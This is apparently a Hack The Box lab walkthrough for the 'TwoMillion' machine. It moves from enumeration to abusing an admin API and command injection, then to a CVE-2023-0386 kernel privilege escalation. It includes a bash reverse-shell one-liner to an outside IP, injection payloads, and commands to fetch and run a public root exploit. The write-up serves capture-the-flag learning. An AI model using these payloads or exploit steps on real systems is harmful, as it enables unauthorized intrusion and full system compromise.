Overview#

• Name: TwoMillion
• OS: Linux
• Difficulty: Easy

Enumeration#

PortScan#

To start, I ran the nmap command to get all open ports on the machine.

nmap -p- -sV -sC --min-rate=1000 -oA nmap/nmap -v 10.10.11.221
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When trying to open the webpage, the site redirected me to 2million.htb. After adding this to the /etc/hosts file, we can see the main page in Figure 1:

Figure 1: 2million.htb main page.

It seems to be a version of the official HackTheBox website. We can see a login page that doesn’t seems to be vulnerable to SQL injection, and obvious credentials don’t work either. Further navigation reveals the /invite page, which returns an alert saying the code is invalid.

Figure 2: Login page.

Figure 3: Invite page.

I needed more information so, I started brute forcing directories with ffuf:

ffuf -u http://2million.htb/FUZZ -w /seclists/Discovery/Web-Content/raft-small-words.txt -e php -r -fs 1674

login                   [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 203ms]
images                  [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 156ms]
js                      [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 155ms]
register                [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 157ms]
css                     [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 154ms]
logout                  [Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 160ms]
api                     [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 158ms]
home                    [Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 157ms]
assets                  [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 155ms]
fonts                   [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 155ms]
views                   [Status: 200, Size: 64952, Words: 28274, Lines: 1243, Duration: 158ms]
VPN                     [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 155ms]

We can see that the ffuf found the register page, but we are unable to register because we need the invite code as demonstrated in Figure 4_.

Figure 4: Register page.

Invite code#

Once again, we needed more information. I took a step back and started the web proxy Caido to see more details about the requests we send earlier. All the POST requests are sent to somes api/* endpoints as the Figure 5 demostrate.

Figure 5: API endpoints.

Knowning about the api endpoint, I returned to directory brute forcing with ffuf, but this time using the wordlists for APIs in seclists repository. After finding nothing interesting with brute forcing /api/ and /api/v1/, I finally found the endpoint /api/v1/invite/generate. Crafting a POST request to it with Caido, we can generate a invite code, as demonstrated in Figure 6.

ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fs 1674

generate                [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 163ms]
verify                  [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 158ms]

Figure 6: Getting a invite code.

Using this invite code, decode it from base64 and input it on the /invite page. We are redirected to /register, and after entering a valid username, email and password, we have a valid user account on the site.

Figure 7: Homepage after login.

Foothold#

After navigating the page and seeing the directories that don’t redirect us to /home#, I found the /access one, which has two options: downloading a “Connection Pack” or “Regenerate” it, in more APIs endpoints, demostrated on Figure 8.

Figure 8: VPN API endpoints.

After brute forcing a lot on these directories and not find anything, I took another step back. After some time, I found out that requests with my new cookies on endpoints like /api and /api/v1 give us all API endpoints the server have. We can see that here:

http GET http://2million.htb/api/v1 Cookie:'PHPSESSID=2fk46fu7jkl9bmr0ia8cc24cmi'
{
    "v1": {
        "admin": {
            "GET": {
                "/api/v1/admin/auth": "Check if user is admin"
            },
            "POST": {
                "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "/api/v1/admin/settings/update": "Update user settings"
            }
        },
        "user": {
            "GET": {
                "/api/v1": "Route List",
                "/api/v1/invite/generate": "Generate invite code",
                "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
                "/api/v1/invite/verify": "Verify invite code",
                "/api/v1/user/auth": "Check if user is authenticated",
                "/api/v1/user/vpn/download": "Download OVPN file",
                "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
                "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration"
            },
            "POST": {
                "/api/v1/user/login": "Login with existing user",
                "/api/v1/user/register": "Register a new user"
            }
        }
    }
}

NOTE

The tool I use, http is from package httpie and is just a curl in Python with a more readable output.

The ones that caught my attention were the /admin/* ones. The GET to /auth just returns a boolean value saying if our account have admin permissions(Return False when we try). The POST to /vpn/generate seems to generate a VPN file, but only admin accounts have permissions to do this. The PUT to /settings/update is the most intesting one. After send a request, it requires us to send the parameters email and is_admin. Sending the email with the one we created the account with and setting is admin to 1, we upgrade our account to admin as we can see in Figure 9. l

Figure 9: Request that upgrades account to ‘admin’.

Now, going back to /auth returns True, and /vpn/generate ask our to send the parameter username. After playing with it, we can send the payload in the username parameter ${sleep 5} and the server takes more than 5 seconds to return. this means we have a RCE. I use the following commands to craft a payload and send it with Caido as demostrate on Figure 10, and get the reverse shell.

echo "bash  -i >& /dev/tcp/10.10.14.166/443  0>&1 " | base64
#YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTY2LzQ0MyAgMD4mMSAK
nc -ltnp 443

Figure 10: Request that sends a reverse shell.

Privilege Escalation#

The shell return to us in the directory /var/www/html. Running ls -la, we can see the file .env and inside this file have the user credentials, as shown in Figure 11.

Figure 11: Password of the user ‘admin’.

Now we can ssh into the machine using the username admin and the its password. After manually enumerating for a while, I eventually checked the folder /var/mail (Always look there, it can have some easy wins), and it is not empty. The file /var/mail/admin have the following contents:

From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. 
While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. 
That one in OverlayFS / FUSE looks nasty. 
We can't get popped by that.

HTB Godfather

This is a obvious tip that the machine is vulnerable to some CVE affecting OverlayFS / FUSE. The CVE-2023-0386, on this Ubuntu site details the affected versions:

“jammy Released (5.15.0-70.77)” This matches the output of the following commands:

$uname -a 
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

$lsb_release -a 
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 22.04.2 LTS
Release:	22.04
Codename:	jammy

Now that we’ve confirmed it’s really vulnerable, we can search for exploits on Google or use Spoitus. I eventually got to this github repository:

I cloned it to my machine, removed the .git folder, and send it to the victim machine with scp:

git clone https://github.com/sxlmnwb/CVE-2023-0386.git
cd CVE-2023-0386
rm -rf .git
scp -r CVE-2023-0386 admin@2million.htb:/tmp/

Following the instructions given in the README file of that repository, I has able to get a root shell:

cd /tmp/CVE-2023-0386
make all

#Opening another SSH connection in another terminal
ssh admin@2million.htb
cd /tmp/CVE-2023-0386

#First terminal
./fuse ./ovlcap/lower ./gc

#Second terminal
./exp

And with that, we get the root flag on /root/root.txt.

Figure 11: Getting the Root flag.

Extra#

Inside the /root directory, we can see an unusual file called thank_you.json.

thank_you.json:

{"encoding": "url", 
"data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

We can see that it is URL encoded and then in hex format. Going to CyberChef, pasting the file, and make the following Recipe:

Figure 12: Recipe from CyberChef.

We get another encoded data! This time seems to be base64 and xor with the key ‘HackTheBox’:

CyberChef output

{"encryption": "xor",
"encrpytion_key": "HackTheBox",
"encoding": "base64", 
"data": "DAQCGXQgBCEELCAEIQQsSCYtAhU9DwofLURvSDgdaAARDnQcDTAGFCQEB0sgB0UjARYnFA0IMUgEYgIXJQQNHzsdFmICESQEEB87BgBiBhZoDhYZdAIKNx0WLRhDHzsPADYHHTpPQzw9HA1iBhUlBA0YMUgPLRZYKQ8HSzMaBDYGDD0FBkd0HwBiDB0kBAEZNRwAYhsQLUECCDwBADQKFS0PF0s7DkUwChkrCQoFM0hXYgIRJA0KBDpIFycCGToKAgk4DUU3HB06EkJLAAAMMU8RJgIRDjABBy4KWC4EAh90Hwo3AxxoDwwfdAAENApYKgQGBXQYCjEcESoNBksjAREqAA08QQYKNwBFIwEcaAQVDiYRRS0BHWgOBUstBxBsZXIOEwwGdBwNJ08OLRMaSzYNAisBFiEPBEd0IAQhBCwgBCEELEgNIxxYKgQGBXQKECsDDGgUEwQ6SBEqClgqBA8CMQ5FNgcZPEEIBTsfCScLHy1BEAM1GgwsCFRoAgwHOAkHLR0ZPAgMBXhIBCwLWCAADQ8nRQosTx0wEQYZPQ0LIQpYKRMGSzIdCyYOFS0PFwo4SBEtTwgtExAEOgkJYg4WLEETGTsOADEcEScPAgd0DxctGAwgT0M/Ow8ANgcdOk1DHDFIDSMZHWgHDBggDRcnC1gpD0MOOh4MMAAWJQQNH3QfDScdHWgIDQU7HgQ2BhcmQRcDJgETJxxYKQ8HSycDDC4DC2gAEQ50AAosChxmQSYKNwBFIQcZJA0GBTMNRSEAFTgNBh8xDEliChkrCUMGNQsNKwEdaAIMBSUdADAKHGRBAgUwSAA0CgoxQRAAPQQJYgMdKRMNDjBIDSMcWCsODR8mAQc3Gx0sQRcEdBwNJ08bJw0PDjccDDQKWCEPFw44BAwlChYrBEMfPAkRYgkNLQ0QSyAADDFPDiEDEQo6HEUhABUlFA0CIBFLSGUsJ0EGCjcARSMBHGgEFQ4mEUUvChUqBBFLOw5FNgcdaCkCCD88DSctFzBBAAQ5BRAsBgwxTUMfPAkLKU8BJxRDDTsaRSAKESYGQwp0GAQwG1gnB0MfPAEWYgYWKxMGDz0KCSdPEicUEQUxEUtiNhc9E0MIOwYRMAYaPRUKBDobRSoODi1BEAM1GAAmTwwgBEMdMRocYgkZKhMKCHQHA2IADTpBEwc1HAMtHRVoAA0PdAELMR8ROgQHSyEbRTYAWCsODR89BhAjAxQxQQoFOgcTIxsdaAAND3QNEy0DDi1PQzwxSAQwClghDA4OOhsALhZYOBMMHjBICiRPDyAAF0sjDUUqDg4tQQIINwcIMgMROwkGD3QcCiUKDCAEEUd0CQsmTw8tQQYKMw0XLhZYKQ8XAjcBFSMbHWgVCw50Cwo3AQwkBBAYdAUMLgoLPA4NDidIHCcbWDwOQwg7BQBsZXIABBEOcxtFNgBYPAkGSzoNHTZPGyAAEx8xGkliGBAtEwZLIw1FNQYUJEEABDocDCwaHWgVDEskHRYqTwwgBEMJOx0LJg4KIQQQSzsORSEWGi0TEA43HRcrGwFkQQoFJxgMMApYPAkGSzoNHTZPHy0PBhk1HAwtAVgnB0MOIAAMIQ4UaAkCCD8NFzFDWCkPB0s3GgAjGx1oAEMcOxoJJk8PIAQRDnQDCy0YFC0FBA50ARZiDhsrBBAYPQoJJ08MJ0ECBzhGb0g4ETwJQw8xDRUnHAxoBhEKIAERNwsdZGtpPzwNRQoOGyM1Cw4WBx1iOx0pDA=="}

This time, I removed everything else and kept only the base64 data value. Using the following recipe, we get the clear text message from HackTheBox team:

Figure 13: Final Recipe from CyberChef.

HackTheBox full message#

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here’s to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team